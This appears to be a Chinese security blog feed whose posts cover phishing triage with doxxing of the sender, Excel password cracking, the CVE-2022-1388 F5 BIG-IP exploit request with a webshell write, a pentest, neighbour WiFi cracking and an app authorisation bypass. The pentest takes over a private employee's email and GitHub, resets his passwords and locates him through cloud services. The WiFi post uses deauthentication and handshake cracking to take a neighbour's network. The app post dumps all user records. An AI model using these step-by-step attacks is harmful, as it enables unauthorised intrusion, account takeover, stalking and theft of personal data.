接到客户通知，发现疑似一份钓鱼邮件，要求进行研判并且溯源。

邮件大概如下：

0X02

压缩包更改为EML之后打开文件，压缩包内容如下：

PS：此处的index.exe初始状态为index.sc，为了方便分析这里改掉了原始后缀。其中最主要的可执行文件为index.exe，作用是通过这个exe去拉起那个html文件。

刚好开始没明白意图是啥，众所周知，Windows系统下是可执行文件的PE头如下：

直接打开的话状态如下：

这里有个令我感到疑惑的地方，这里面的这个.sc文件是EXE格式的，但是在Windows GUI下面去点击他是默认不会当作exe去执行的，只有console才会当作EXE去执行。

但是钓鱼吧，肯定需要GUI方式触发，这里又是这种写法。
猜测意图应该是还有其他东西把这个文件启动，要么就是搞错了。。

在这启动同目录下的indexrcs.html

但目录下面的html文件叫index，这里实际启动的html文件名字和文件夹里的不符。

感觉攻击者疏忽了。

并且微步 virustotal都是全绿，后补一张图：

反虚拟机做的也不错，检测你temp目录下面的文件，少于多少个，就不执行了。

正常物理机temp目录下几百个文件有的，虚拟机相对干净一些。

整体行为就是打开同路径的index.html文件，是一个正常的扫描报告，然后通过创建新线程的方式执行shellcode，CS木马，C2地址：207.XXX.XXX.XXX。

0X03

拿到IP之后，就可以尝试进行溯源了，对该IP进行情报收集

比较幸运的是发现了一个历史解析是一个CN域名

通过查询whois信息获取到注册人的邮箱信息和个人姓名。

对该邮箱进行历史信息关联可以得到以下结果：

姓名：xx鑫

邮箱：****5@qq.com

身份证号：440********16

手机号：1768****113

那么该如何确定他是此IP是否为真实的攻击者呢？

如上面所述，可以查询IP段是哪个机房的机器，通过对IP的查询，获得了对应的服务商是vultr。

通过对vultr注册账号信息，得到结果:

即可以确认：该钓鱼邮件/恶意IP/域名/人要素齐全高强度关联。

同时利用情报获取到一封PDF文件。确定了该员工为某集团信息部员工。

END。

John暴力破解忘记的Excel密码

Fri, 23 May 2025 00:00:00 GMT

我朋友问我有一个很重要的excel忘记密码了，能不能找回来了，对他很重要，我记得老早之前hashcat是可以破解的，顺便查了一下，记录一下用法。

简单叙述如何使用强大的密码破解工具 John the Ripper (JtR) 来恢复忘记密码的 XLSX 文件。我们将从基础概念讲起，覆盖 John 的几种核心破解模式。

前提条件

John the Ripper: 确保你已经下载并解压了 John the Ripper。强烈推荐使用社区增强版 "Jumbo John"，因为它支持更多的哈希类型和 GPU 加速。https://github.com/openwall/john
目标文件: 你需要破解密码的 .xlsx 文件。

第一步：从 XLSX 文件中提取哈希

John a Ripper 无法直接处理 .xlsx 文件，它需要一个特殊格式的“哈希”字符串。我们使用 office2john.py 脚本来提取它。

打开你的终端（Windows 上的 PowerShell 或 CMD）。
使用 cd 命令进入 John the Ripper 的 run 目录。
运行以下命令：

# 将 "C:\path\to\your\file.xlsx" 替换为你的 Excel 文件完整路径
python .\office2john.py "C:\path\to\your\file.xlsx" > hash.txt

这个命令会生成一个名为 hash.txt 的文件，里面包含了 John a Ripper 需要的加密信息。

第二步：选择破解模式并执行

John the Ripper 拥有多种破解模式，针对不同场景选择合适的模式是成功的关键。

John 的核心破解模式

1. 字典模式 (Wordlist Mode)

这是最常用的模式。你提供一个包含常用密码的字典文件（wordlist），John 会逐一尝试。还可以配合规则（Rules）对字典词汇进行变形（如 pass -> P@ss123），极大提升成功率。

# --wordlist=后接你的字典文件路径
john --wordlist=password.lst hash.txt

2. 增量模式 (Incremental Mode)

纯粹的暴力破解。它会尝试所有可能的字符组合，理论上只要时间足够，一定能破解。但对于稍长的密码，会非常非常慢。

# 尝试所有8位以内的小写字母组合
john --incremental=Lower --max-len=8 hash.txt

3. 掩码模式 (Mask Mode) - 本次使用的模式

当你对密码结构有一定了解时，这是最高效的模式。你可以定义密码的格式，极大地缩小搜索范围。

?d: 代表一位数字 (0-9)
?l: 代表一位小写字母 (a-z)
?u: 代表一位大写字母 (A-Z)
?s: 代表一位特殊符号 (!@#$)

示例: 破解一个6位纯数字密码。‘

参考可以查阅：https://in.security/2022/06/20/hashcat-pssw0rd-cracking-brute-force-mask-hybrid/

https://github.com/openwall/john/blob/bleeding-jumbo/doc/RULES

(非常复杂，建议直接问AI)

john --mask=?d?d?d?d?d?d hash.txt

简单来说：

? 符号本身不是一个字符，而是一个“特殊指令”或“前缀”，它告诉 John：“请注意，跟在我后面的那个字母不是普通字母，而是一个代表特定字符集的占位符。”

把它想象成一个填空题：

__ __ __ __ __ __

?d?d?d?d?d?d 这个掩码就等于在说：

在第一个空 __ 里，填一个数字（digit） (?d)
在第二个空 __ 里，填一个数字（digit） (?d)
...依此类推，填满六个空。

详细分解

让我们来深入看一下 ? 和它后面字母的组合。

1. 内置的标准占位符

John the Ripper 预定义了一些字母，当它们跟在 ? 后面时，就代表了特定的字符集。最常用的有：

| 占位符 | 代表的字符集 | 解释 | 示例字符 | | --- | --- | --- | --- | | ?d | Digits | 数字 | 0, 1, 2, ... 9 | | ?l | Lower | 小写字母 | a, b, c, ... z | | ?u | Upper | 大写字母 | A, B, C, ... Z | | ?s | Special | 特殊符号（ASCII） | !, @, #, $ ... | | ?a | All | 所有可打印的字符（?l+?u+?d+?s） | a, A, 1, ! ... | | ?h | Hex, lower | 小写的十六进制字符 | 0-9, a-f | | ?H | Hex, upper | 大写的十六进制字符 | 0-9, A-F | | ?b | All 8-bit | 所有可能的 ASCII 字符 (0-255) | (所有字符) |

2. 如何组合它们？

你可以自由地组合这些占位符来构建你认为可能的密码结构。

示例1：一个首字母大写，后跟7个小写字母的密码 (例如 Password)

--mask=?u?l?l?l?l?l?l?l

示例2：一个4位数字的ATM密码，后面跟着两个大写字母 (例如 1234AB)

--mask=?d?d?d?d?u?u

3. 如果密码里就包含一个普通字母怎么办？

任何没有 ? 前缀的字符都会被当作普通（或“字面”）字符来处理。John a Ripper 会认为这个位置的字符是固定不变的。

示例3：你知道密码以 pass- 开头，后面是4个数字 (例如 pass-1234)

--mask=pass-?d?d?d?d

在这个例子里，p, a, s, s, - 都是固定不变的，只有后面的四个 ?d 位置会被 John 暴力破解。这极大地减少了搜索空间！

4. 更高级的用法：自定义字符集

你甚至可以定义自己的占位符 ?1, ?2, ?3 等。

示例4：你知道密码只有8位，且只包含 a, b, c, 1, 2, 3 这几个字符。
你可以定义一个自定义字符集 ?1，然后重复它8次。

john --mask='?1?1?1?1?1?1?1?1' --mask-char-?1='abc123' hash.txt

- <font style="color:rgb(26, 28, 30);">--mask-char-?1='abc123'</font><font style="color:rgb(26, 28, 30);">：这部分定义了</font><font style="color:rgb(26, 28, 30);"> </font><font style="color:rgb(26, 28, 30);">?1</font><font style="color:rgb(26, 28, 30);"> </font><font style="color:rgb(26, 28, 30);">这个占位符代表的字符集就是</font><font style="color:rgb(26, 28, 30);"> </font><font style="color:rgb(26, 28, 30);">'abc123'</font><font style="color:rgb(26, 28, 30);">。</font>
- <font style="color:rgb(26, 28, 30);">--mask='?1?1?1?1?1?1?1?1'</font><font style="color:rgb(26, 28, 30);">: 这部分告诉 John a Ripper 密码由8个来自</font><font style="color:rgb(26, 28, 30);"> </font><font style="color:rgb(26, 28, 30);">?1</font><font style="color:rgb(26, 28, 30);"> </font><font style="color:rgb(26, 28, 30);">字符集的字符组成。</font>

? 符号它本身没有意义，但它赋予了紧跟其后的字母特殊的含义，让你可以从“盲目地暴力破解所有可能”转变为“精确地、有策略地暴力破解特定格式”，从而将破解时间从几年缩短到几秒钟。

4. 单一破解模式 (Single Crack Mode)

John 默认最先尝试的模式，速度极快。它会利用哈希文件中的用户名等信息进行简单的变换和猜测。

# 不加任何模式参数，默认就会启用
john hash.txt

实战演练：破解一个6位数字密码的 XLSX 文件

在我们的实战中，我们知道密码是6位数字，所以选择掩码模式。

理想的命令是：

.\john --mask=?d?d?d?d?d?d hash.txt

常见问题与解决方案

错误 : `Error: UTF-16 BOM seen in input file.`

问题: John 无法识别 hash.txt 的文件编码。
原因: 使用 Windows PowerShell 的 > 重定向符创建文件时，默认编码是 UTF-16，而 John 需要 UTF-8 或 ASCII。
解决方案:
1. 用记事本打开 hash.txt 文件。
2. 选择 "文件" -> "另存为"。
3. 在弹出的窗口下方，将“编码”从 UTF-16 LE 修改为 UTF-8。
4. 保存并覆盖原文件。

第三步：查看破解结果

当命令成功执行后，你会看到类似下面的输出：

Warning: detected hash type "Office", but the string is also recognized as "office-opencl"
Use the "--format=office-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2007 for all loaded hashes
Cost 2 (iteration count) is 50000 for all loaded hashes
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
933728           (微信登记1 (1).xlsx)
1g 0:00:00:29 DONE (2025-09-05 19:45) 0.03344g/s 20067p/s 20067c/s 20067C/s 616778..351115

结果解读:

破解的密码: 933728
花费时间: 0:00:00:29，即 29秒。

如果之后想再次查看已破解的密码，可以运行：

.\john --show hash.txt

至此，结束。

PS：

外面第三方软件有很多，我找了一下找到了一个Passper for Excel.exe的软件，看了一下应该也是调用的John，支持GUI图形化，建议有需要直接使用这个，搜索相关Passper for Excel crack。

CVE-2022-1388 F5 BIG-IP未授权RCE漏洞&写Webshell

Sat, 17 May 2025 00:00:00 GMT

漏洞描述

漏洞描述:

在 F5 BIG-IP 16.1.x 16.1.2.2 之前的版本、15.1.5.1 之前的 15.1.x 版本、14.1.4.6 之前的

14.1.x 版本、13.1.5 之前的 13.1.x 版本以及所有 12.1.x和 11.6.x 版本，未公开的请求可能会绕过

iControl REST 身份验证。注意：未评估已达到技术支持终止 (EoTS) 的软件版本.

复现过程

HTTP请求包如下：

POST /mgmt/tm/util/bash HTTP/1.1
Host:xxxxxxx
Connection: keep-alive, x-F5-Auth-Token
X-F5-Auth-Token: anything
Authorization: Basic YWRtaW46
Content-Length: 45
Content-Type:application/json
{
"command":"run",
"utilCmdArgs":"-c id"
}

‍

EXP/POC

‍

CVE-2022-1388-EXP-main.zip

‍

Webshell写入

反弹获得了shell。

‍

Webshell的写入可以参考另外一个漏洞F5 BIG-IP CVE-2020-5902

写入的路径为：/usr/local/www

mount -o remount -rw /usr
echo "<?php phpinfo();?> " > /usr/local/www/test.php
mount -o remount -r /usr

访问路径：

‍

参考

‍

F5 BIG-IP远程代码执行漏洞复现（CVE-2020-5902）

‍

CVE-2020-5902:F5 BIG-IP RCE分析研究

‍

记一次从供应商到目标之旅

Thu, 01 May 2025 00:00:00 GMT

‍

因涉及敏感信息较多，厚码见谅。

最近一段时间有个项目，当时对某个单位目标进行了信息收集，该系统是一个邮件系统。

‍

目标：XXX.gov.cn 某个政务级目标

系统：自建的邮件服务系统

‍

系统有滑块验证，因此从web爆破邮箱的作用不大，同时，服务端也没有真实IP可以走协议爆破。

‍

然后对该系统进行了信息收集，同时利用天眼查查询到目标所属资产的供应商为XXXX公司。该公司承包了该市级单位绝大部分的第三方系统开发，属于是很有价值的供应商，随即改变想法准备去从供应商下手。

‍

0x2 供应商信息收集

XX科技

网址：testteam.com

法人邮箱：188888888_@_qq.com

法人手机号：18888888888

‍

下属公司

XXX()科技

网址：1.testteam.com

法人邮箱：13333333_@_qq.com

法人手机号：13333333333

‍

能从公开渠道查到的信息就只有这些，把收集到来的信息资产做了个查询，发现没啥可以利用的点，决定还是从网站入手。

扫描域名，只获得了一个IP，查询历史解析也没有多余的的IP，对这个IP进行全端口扫描，对外开放IP只有3389和443、80这种端口，而且是云服务器，子域名也没有多余的资产。

‍

不过发现网站目录中提供了一个OA登录的接口

‍

利用弱口令登录尝试，输入账号后返回空白，但实际上是登录成功了的。

‍

不过登录流程逻辑可能有点问题，需要手动改请求和访问路径才可以到后台。

‍

到了供应商后台也没有发现什么信息，资产又少，所以决定从员工下手。

众所周知，github的开发者常常喜欢放一些项目资料上去，一些脚本中的泄露账号密码此类的，于是我在GitHub上收集了到了疑似该公司的人。

‍

他的项目仓库里面存有该公司的手册，同时我在另外一个项目找到了他的一个书签和口令密码，决定深挖此员工。

0x3 员工信息收集

从他的项目代码来看，不少都是本地的localhostIP,不过有个别的书签地址引起了我的注意，其中一个是小米官网。

根据现有的资产，该员工分别使用三个邮箱，分别为新浪和QQ，猜中他主要使用哪个邮箱也很容易，比如，查查小米的绑定。

‍

利用找回密码功能获得小米的绑定邮箱，同时也获取到了该员工常用的邮箱。

‍

利用之前获取到的口令使用网易邮箱大师登录网易邮箱，简略看了一下往来邮件，没啥太大的价值，为了避免后面打草惊蛇，给邮箱设置转发控下该邮箱。

‍

随即使用该邮箱登录小米账号。

‍

从个人收货地址获得了真实姓名和物理地址，确定了是属于该公司的物理地址，随即使用小米云服务定位到个人。

‍

接着利用邮件中的地址，登录51job查看该员工简历。

‍

也从该员工的历史信息中确定曾经在在目标公司的员工。

同时，从QQ邮箱中获取到了一些平台的账号。

‍

从这些平台中登录了几个平台，不过都与目标无关系。

‍

这个时候我已经在思考一个问题了，就是我拿了这么多信息，但是目标公司的OA，或者是内部交流使用什么渠道还不得知，无法从个人打到内部上去，内部肯定有一个通讯的地方，但是到目前为止，除了刚开始看到的技能手册，还没有看到该公司的任何信息，单纯的收集一些这种信息没啥用。

‍

0x4 协同软件信息收集

1.腾讯文档

2.金山办公

3.钉钉

4.语雀

5.企业微信

6.微云

7.飞书

‍

第二天，我依然坚持不懈的去找供应商的信息。

我在想既然官网没有业务或者OA，那么他们用什么平台去交流或者通讯呢？

这里我尝试了语雀/飞书/有道云笔记/钉钉/印象笔记/WPS此类的软件，经过几次尝试后，大部分账号我都可以用获取到的口令登录，钉钉和企业微信我都可以登录，但是都需要手机号验证，也许用的是两个中的一种，没得搞。

语雀和腾讯文档都没写啥东西，没得搞。

微云除了个人资料之外，没有任何公司的信息，也没啥用。

‍

那么只剩下WPS了。

这个时候比较有意思的来了，金山文档多多少少肯定有在使用的，我用他的账号去重置为他的常用密码即可，因为他的密码规律都差不多，我赌他自己发现密码错了拿常用密码试进去了不会多想。

但是呢，这个WPS的修改密码一直没有发到我的转发邮箱里面来，然后使用了github绑定的QQ+常用密码试进去了一个。

‍

登录进去之后，yes！终于有目标资产的信息了，是一份公司的员工通讯录名单。

‍

其实搞到这里就没准备搞了，因为确定不了目标使用的通讯平台，目标资产又较少，从员工打下去也不好说，接着从员工突破下去极有可能是徒劳的耗费时间。

想想从员工搞过来这条路，运气蛮好的，凡是邮箱设置了一个二次登录验证或者他密码规则改强一点，都拿不到这份通讯录，这个员工基本上啥信息都拿到了，我感觉可能使用的是钉钉，但是钉钉需要刷人脸登录。

‍

0x5 拿到目标

搞到这里我就开始反思，这条路似乎是拿不下来目标了，一没拿到源码，二是没有拿到系统的密码，供应商也没有较大的突破。

看他使用github的比较多，我决定修改他的GitHub密码去翻仓库代码。

使用刚开始控制的新浪邮箱修改了他密码为他的常用口令，登录成功。

‍

在查看他的所有仓库代码的时候，意外的找到了目标系统的一个口令，密码是一个常见的密码，账号比较长，属于是运气极佳了。

‍

使用该账号登录成功，并且还是管理员属性。

‍

最终拿到后台权限。

‍

0x6 总结

没啥技术的一次渗透，运气是第一要素，环环相扣，干就完了。

‍

我偷他的网

Sun, 06 Apr 2025 00:00:00 GMT

本文章仅作为技术学习交流，请不要随意拿邻居开刀。

提前准备

你需要如下材料

一个支持监听的无线网卡设备
一个强大的WiFi字典
一个有WiFi的地方

最近流量不够用了，想着偷个网试试，看了一下周边的WiFi布局。。

还是有一些WIFI设备的，然后开始尝试能不能搞一个来。

技术原理

WiFi认证

大家都知道WiFi大略是有四种支持格式的，

1、不启用安全

2、WEP

3、WPA/WPA2-PSK

4、WPA/WPA2 802.1X （radius认证）

一般我们设置的都是第三种。

WPA-PSK的认证过程

1、无线AP定期发送beacon数据包，使无线终端更新自己的无线网络列表。

2、无线终端在每个信道（1-13）广播ProbeRequest（非隐藏类型的WiFi含ESSID，隐藏类型的WiFi不含ESSID）

3、每个信道的AP回应，ProbeResponse，包含ESSID，及RSN信息

4、无线终端给目标AP发送AUTH包。AUTH认证类型有两种，0为开放式、1为共享式（WPA/WPA2必须是开放式）

5、AP回应网卡AUTH包

6、无线终端给AP发送关联请求包associationrequest数据包 7、AP给无线终端发送关联响应包associationresponse数据包

8、EAPOL四次握手进行认证（握手包是破解的关键）

9、完成认证可以上网。

WPA-PSK认证四次握手认证的过程

WPA-PSK破解原理

用我们字典中的PSK+ssid先生成PMK（此步最耗时，是目前破解的瓶颈所在），然后结合握手包中的客户端MAC，AP的BSSID，A-NONCE，S-NONCE计算PTK，再加上原始的报文数据算出MIC并与AP发送的MIC比较，如果一致，那么该PSK就是密钥。

如图所示：

所以还是爆破握手包的方式来获得密码，由于是通过暴力破解方式破解Wifi密码，所以你需要下载一些强大的字典，字典可以直接在Github上搜索，或者直接google。

开偷

启动网卡

我这里使用的是Kali，插入无线网卡的时候请选择和虚拟机相连。

ifconfig-a /此命令查看所有网络设备器

如果你的连接没有出错，此时应该会有一张名为wlan0的网卡设备。

接着使用命令,激活这张网卡，如果不回显则开启成功。

ifconfig wlan0 up

激活网卡为监听（monitor）模式

‍

airmon-ng start wlan0

同时，你的无线网卡应该会有指示灯之类的亮起（看型号，是否启用成功还是看上图结果）

得到监控模式下的设备名是wlan0mon，请记住这个名字，后续有用。

探测周围无线网络

‍

我现在连接的是我自己的手机热点，插入无线网卡后开始嗅探周围的WIFI设备。

‍

airodump-ng wlan0mon

查看周边路由AP的信息。

个人经验一般信号强度大于-70的可以进行破解，大于-60就最好了，小于-70的不稳定，信号比较弱。（信号强度的绝对值越小表示信号越强）

这里我们将会对游走老火锅这个WiFi进行攻击，所以我们需要记录下对应的 BSSID 以及 CH ，这两个值分别是WiFi唯一标识和信道。建议选择 PWR 较小的WiFi，因为这意味着信号较好。

如果要弄懂这些参数都是什么，我贴两张网上的图：

‍

选择要破解的WiFi，有针对性的进行抓握手包

‍

airodump-ng wlan0mon -c 7 --bssid 14:75:90:9E:29:8E

其中的 -c 参数代表了信道号， --bssid 代表此WiFi的唯一标识。

执行后等待一会，输出结果如下:

fundamental     CH 7 ][ Elapsed: 6 s ][ 2021-04-07 23:41
      BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
      14:75:90:9E:29:8E  -37   1       89     4294  299  11  270   WPA2 CCMP   PSK  203
      BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes
      14:75:90:9E:29:8E  48:7D:2E:B3:04:DF  -29    0 - 1e     0        7
      14:75:90:9E:29:8E  E0:DC:FF:DC:5A:89  -40    0 - 0e   817     4259
      14:75:90:9E:29:8E  80:ED:2C:10:0D:8A  -63    0 -24      0        2
      14:75:90:9E:29:8E  FA:83:C4:C0:8F:DF  -60    0e-24     88       88

从这个输出结果我们可以分析到的数据：

当前连接此WiFi的设备有4台，以及每台设备的唯一标识，发包数等。下面的四行也就代表了四台设备，我们需要记录 Lost 有变化的设备标识，这里我们选择标识为 E0:DC:FF:DC:5A:89 的设备。

好的，目前我们掌握了几条有用的信息，如下:

WiFi唯一标识14:75:90:9E:29:8E

连接WiFi的设备之一的标识E0:DC:FF:DC:5A:89

WiFi的信道11

监听握手包

下面我们需要根据以上信息进行抓包，尝试拿到包含密钥的握手包。

airodump-ng wlan0mon --bssid 14:75:90:9E:29:8E -c 11 -w 203

参数说明：-w 保存数据包的文件名 –c 信道 –bssid ap的mac地址 (注意test.cap会被重命名)，也可以用其他工具抓包比如：wireshark、tcpdump，抓到握手包会有提示。

airodump-ng --ivs --bssid E6:9A:DC:79:7:EC -w longas -c 1 wlan0mon**

PS：我建议使用这条作为监听，–ivs 这里的设置是通过过滤，不再将所有的无线数据保存，而只是保存可用于破解的IVS数据报文，这样可以有效地缩减保存的数据包大小。如果按照第一个语句去监听，不过滤请求的话会有很多额外的请求，后续的图我将以这条语句作为演示。

‍

监听的时候如果有设备登录成功就会抓到握手包，那么此时客户端不一定有会有登录的包发送给服务端，怎么样去抓到这个带有认证请求的包呢，很简单，强行使客户端断开即可。

‍

执行断网攻击获得握手包

下面我们需要利用 Aireplay-ng 进行断网攻击，当用户重连WiFi时 Airodump-ng 应该就能拿到密钥的数据包了。

aireplay-ng wlan0mon -0 10 -a 14:75:90:9E:29:8E -c E0:DC:FF:DC:5A:89

这里的 -0 代表攻击次数，后面的10也就是攻击次数、 -a 代表要攻击的WiFi、 -c 代表要攻击的已连接WiFi的设备。

此命令的输出结果如下:

fundamental     23:55:26  Waiting for beacon frame (BSSID: 14:75:90:9E:29:8E) on channel 11
     23:55:28  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [27| 1 ACKs]
     23:55:29  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 3| 1 ACKs]
     23:55:30  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 2| 6 ACKs]
     23:55:32  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 8| 7 ACKs]
     23:55:34  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7| 7 ACKs]
     23:55:36  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7|14 ACKs]
     23:55:39  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [34| 3 ACKs]
     23:55:41  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [22| 6 ACKs]
     23:55:43  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 5| 5 ACKs]
     23:55:45  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [10| 6 ACKs]

如果这种方式多次失败，可以尝试去掉 -c 参数，进行范围打击，对每个设备都进行攻击，这样拿到加密包的机率也会有提升。

当 airodump-ng 那边提示拿到 WPA handshake 即代表拿到加密握手包，也就不需要断网攻击了。

我实践中使用是把整个客户端打掉线让他们重连的。

当这边的shell提示WPA handshake就说明获取到握手包了，可以停止了。

CH 11 ][ Elapsed: 6 mins ][ 2021-04-08 00:05 ][ WPA handshake: 14:75:90:9E:29:8E

‍

字典破解

下面我们通过准备的字典以及拿到的握手包进行暴力破解。

执行如下命令进行破解

aircrack-ng -w common.txt 203.ivs

-w 是我们的字典， 203-01.cap 是我们拿到的密钥握手包。

我这个运气不错，密码相对简单。

‍

KEY FOUND! [ 99998888 ]即是密码。

‍

最后

请善待你的邻居，不要随意拿邻居开刀。

‍

APP安全测试：从客户端信息泄露到越权

Fri, 07 Feb 2025 00:00:00 GMT

APP安全测试：从客户端信息泄露到越权

前言

最近在对某 APP 进行安全测试时，发现一个比较有意思的APP。从最开始的网络层暴力破解失败，到转向客户端逆向分析，最终发现隐藏在代码深处的逻辑后门，并成功利用报错信息泄露实现了未授权访问。

这篇文章记录了整个渗透测试的思路演变，轻喷。

免责声明：本文仅用于技术交流与安全教育。文中涉及的漏洞已提交给相关厂商修复，敏感信息均已脱敏处理。请勿利用文中技术进行非法攻击。

第一阶段：碰壁——失效的暴力破解

起初，我试图对 APP 的登录接口进行传统的暴力破解测试。

目标接口：POST /api/password

经过观察 Burp Suite 的流量，我发现请求头中包含几个动态字段：

timestamp: 毫秒级时间戳
sign: 一个 32 位的哈希值

‍

再此登录请求的接口之前，还需要访问一个token接口生成对应的accesstoken参数。

逻辑等于是首先访问token接口，返回accesstoken参数，然后进入下一步登录的接口，携带accesstoken参数和singn参数作为登录请求的Header。

测试了一下应该是只有头部签名校验：签名只校验 Header 中的字段（如 appId, timestamp, nonce）。Body 的内容不参与签名计算。

在这种设计下，只要时间戳在有效期内，你可以随意修改 Body 里的密码，签名依然合法。

如果服务器采用的是这种策略，那么防重放机制其实是只校验了时间戳，但防篡改机制只保护了 Header，没有保护 Body。这属于 API 设计上的缺陷，正确的做法应该是连带body一起保护。

第二阶段：突破——APK 逆向与算法还原

刚好这个APP没加壳，通过反编译 APK（使用 JADX），我开始寻找签名的生成逻辑。

1. 定位核心配置

‍

那么如何搜索这些特征点呢，我个人的思路是如下：

1. 搜索 HTTP 请求头中的关键词 (最有效)

这是最快的方法。我举例如下，

刚开始我在Burp Suite 里看到了几个特殊的 Header，直接在反编译工具（如 JADX）中搜索这些字符串：

"sign" (搜字符串，注意带引号)
"timestamp"
"Id"
"access-token" 或 "accessToken"

搜索技巧： 如果搜 "sign" 结果太多（因为这是常用词），尝试搜 "sign": (带冒号) 或者 .addHeader("sign" 。

2. 搜索网络库拦截器 (Interceptor)

现代 Android App (90%以上) 使用 OkHttp 或 Retrofit 发送网络请求。开发者通常不会在每个页面单独写签名逻辑，而是写在一个全局拦截器里。

搜索以下关键词：

Interceptor (查看实现了这个接口的类)
addHeader
chain.proceed

典型代码长这样：

Java

public class SignInterceptor implements Interceptor {
    @Override
    public Response intercept(Chain chain) {
        Request original = chain.request();
        // ... 这里就是你要找的签名逻辑 ...
        String sign = MD5.encrypt(original.body() + timestamp + secret);
        
        Request newRequest = original.newBuilder()
                .addHeader("sign", sign) // 关键特征
                .build();
        return chain.proceed(newRequest);
    }
}

3. 搜索加密相关的关键词

如果以上都找不到，尝试搜索通用的加密类名或方法名：

MD5 (通常签名是 MD5 或 SHA256)
MessageDigest (Java 原生加密类)
Mac (HMAC 签名常用类)
SecretKey
sortedMap / TreeMap (签名通常需要对参数进行字母排序，搜索这个能找到排序逻辑)

4. 搜索 URL 路径

直接搜索你在抓包里看到的 URL 路径片段：

"/api/token"
"/dPassword"

找到定义这些 URL 的地方，通常顺藤摸瓜就能找到是谁在使用它们，以及使用前做了什么处理

通过搜索抓包中看到的 clientId 字符串，我迅速定位到了一个名为 Getsign 的配置文件。：

‍

public final String getSign(String timestamp, boolean z) {
    String str;
    // 1. 关键判断：z 代表是否有 Token (是否已登录)
    if (z) {
        // 情况 A：有 Token (用于业务接口)
        // 拼接规则：[密钥] + [Token] + [时间戳]
        str = "xxxxxxxxxxxxxx" 
              + UserManager.INSTANCE.getLoginModel().getAuth().getToken() 
              + timestamp;
    } else {
        // 情况 B：无 Token (用于获取 Token 的接口)
        // 拼接规则：[密钥] + [时间戳]
        str = "xxxxxxxxxxxxxx" 
              + timestamp;
    }
    
    // 2. 算法选择：MD5
    MessageDigest messageDigest = MessageDigest.getInstance("MD5");
    byte[] bytes = str.getBytes(Charsets.UTF_8);
    byte[] digest = messageDigest.digest(bytes);
    
    // 3. 格式化：转为 32位 Hex 字符串
    String format = String.format("%032x", Arrays.copyOf(new Object[]{new BigInteger(1, digest)}, 1));
    
    // 4. 大写转换：转为大写
    return format.toUpperCase(Locale.ROOT);
}

2. 还原签名算法

接着，通过搜索 .addHeader("sign" 关键字，我在 App.kt 中找到了签名的计算逻辑：

‍

// App.kt 伪代码
fun getSign(timestamp: String, hasToken: Boolean): String {
    val raw = if (hasToken) {
        FULL_KEY + token + timestamp
    } else {
        FULL_KEY + timestamp
    }
    return MD5(raw).toUpperCase()
}

算法逻辑明确了： Sign = MD5(SecretKey + [Token] + Timestamp)。

有了这个算法和密钥，我编写了一个 Python 脚本，能够实时生成合法的签名。

第三阶段：发现——代码中的逻辑后门

在审计 App.kt 的网络拦截器（Interceptor）代码时，一段奇怪的逻辑引起了我的注意：

// 拦截器逻辑
if (url.contains("/queryUser")) {
    //高危逻辑：如果是查询用户接口，强制将 userid 设为 system1
    request.addHeader("userid", "system1");
} else {
    request.addHeader("userid", currentUser.uid);
}

漏洞点分析：

这意味着有一个接口 /XXX/queryUser，它大概率是用来获取用户列表的。且服务器可能存在逻辑漏洞：只要 Header 里的 userid 是 system1 ，它就允许查看所有数据，而不校验 Token 是否真的是管理员的。

由于 API 签名（Sign）和时间戳（Timestamp）是动态的，我们需要先生成一个合法的token和sign，然后修改userid信息来测试system1发送请求。

第四阶段：利用——报错信息泄露与 Fuzzing

我利用 Python 脚本获得了新的sign信息，目标直指 /queryUsers 接口，并在 Header 中伪造了 userid: system1。

1. Fuzz1

我发送了一个空的 JSON Body {}。

服务器响应：

{
    "code": 500,
    "message": "请输入PageSize",
    "result": null
}

突破口！

服务器没有返回“403 Forbidden”或“权限不足”，说明伪装 system1 成功绕过了鉴权！
服务器报错信息泄露了必需参数名：PageSize。

2. Fuzz2

既然知道了 PageSize，肯定是代表某个页码，根据开发经验，分页参数通常是成对出现的。

在编程开发中（特别是 Java 后端），分页永远需要两个参数：

一页显示多少条 (刚刚服务器泄露了，叫 PageSize)
当前是第几页 (这个我们需要猜)

既然参数1叫 PageSize，那么参数2通常会遵循相同的命名风格。根据经验，常见的组合只有以下几种：

pageSize + page
pageSize + pageIndex (常见于 C# 或某些前端框架)
pageSize + current
pageSize + pageNum (常见于 Java 的 PageHelper 插件)

虽然报错信息显示的是 PageSize (大写开头，PascalCase)，但这个 App 是安卓应用，后端大概率是 Java (Spring Boot)。 Java 的标准变量命名规范是 小驼峰 (camelCase) ，即首字母小写。

我构建了一个 Fuzzing 列表来猜测另一个参数：

{"PageSize": 10, "Page": 1} -> 失败
{"pageSize": 10, "page": 1} -> 失败
{"pageSize": 10, "pageIndex": 1} -> 失败
{"pageSize": 10, "pageNum": 1} -> 成功 (200 OK)

服务器返回了："code": 0, "message": "接口调用成功"，并吐出了大量的用户列表数据。

第五阶段：危害扩大

通过这个漏洞，我编写了自动化脚本，利用 pageNum 遍历，成功拉取了全量的用户信息。

泄露数据包括：

真实的用户 ID (userId)
用户昵称
手机号 (部分脱敏)

后续危害链 (Kill Chain)：

精准撞库：拥有了 100% 准确的用户 ID 列表后，配合弱口令（如 123456）进行撞库，成功率极高。

‍

总结与防御建议

这次实战展示了一个典型的 API 漏洞组合拳：硬编码密钥 + 签名校验逻辑缺陷+APP后门。

给开发者的防御建议：

严禁硬编码密钥：
